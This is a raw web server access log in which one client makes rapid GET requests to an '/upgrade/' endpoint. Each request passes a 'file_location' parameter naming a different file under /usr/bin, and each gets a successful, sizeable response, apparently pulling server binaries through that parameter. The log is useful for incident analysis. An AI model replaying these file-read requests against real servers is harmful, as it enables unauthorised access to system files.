45.135.193.11 - - [11/Sep/2026:22:45:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpango-view&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 117442 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpango-view&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpatch&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 191345 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpatch&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpathfix3.9.py&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98570 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpathfix3.9.py&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpldd&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102933 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpldd&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpod2man&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102665 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpod2man&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftroff&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 367318 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftroff&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwho&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 117144 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwho&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fccomps&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106249 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fccomps&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fhb-view&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 120430 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fhb-view&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fkrb5-config&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98592 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fkrb5-config&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmyisamlog&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 1026729 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmyisamlog&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fndptool&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105731 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fndptool&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fread&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95784 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fread&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_write_verify&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104206 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_write_verify&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fssh-copy-id&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102582 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fssh-copy-id&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffreebcp&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104219 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffreebcp&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmdb_dump&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101937 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmdb_dump&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnsenter&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104718 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnsenter&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnumfmt&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 120347 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnumfmt&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftrust&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 189218 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftrust&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Funpigz&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 160709 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Funpigz&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-setpermission&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102299 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-setpermission&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsieve-dump&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107905 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsieve-dump&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Farch&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107213 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Farch&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Finnochecksum&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 907072 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Finnochecksum&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flast&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 109927 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flast&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Foddjob_request&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102356 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Foddjob_request&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-inhibit&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103968 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-inhibit&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwhatis.man-db&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 114399 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwhatis.man-db&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Feject&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 112527 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Feject&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgdbm_load&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 109422 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgdbm_load&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgslp&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95860 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgslp&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgvmap&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 268963 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgvmap&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fl2ping&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101132 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fl2ping&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Floginctl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 121615 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Floginctl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnetstat&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 160430 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnetstat&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpowernow-k8-decode&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98300 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpowernow-k8-decode&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-menulst2cfg&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 188686 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-menulst2cfg&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flchfn&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102847 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flchfn&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_prevent&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100338 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_prevent&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsss_ssh_knownhostsproxy&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106132 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsss_ssh_knownhostsproxy&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Funame&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107818 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Funame&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwsrep_sst_mariabackup&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 113330 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwsrep_sst_mariabackup&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fflatpak-coredumpctl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97237 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fflatpak-coredumpctl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flibtool&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 209721 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flibtool&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flsmem&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 111710 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flsmem&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fps2pdf13&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95947 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fps2pdf13&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscsi_logging_level&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97945 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscsi_logging_level&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcrlutil&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 134076 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcrlutil&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fea-php82-pear&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95866 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fea-php82-pear&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fhostid&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106781 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fhostid&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpygettext.py&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104083 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpygettext.py&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_timestamp&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103865 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_timestamp&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_turs&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103741 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_turs&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Funicode_start&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97319 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Funicode_start&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcertutil&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 164868 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcertutil&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdc&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 119107 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdc&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgarbd&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 865325 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgarbd&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-link-ifindex2name&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99379 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-link-ifindex2name&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Freadlink&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 111212 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Freadlink&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsctp_darn&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 113574 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsctp_darn&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
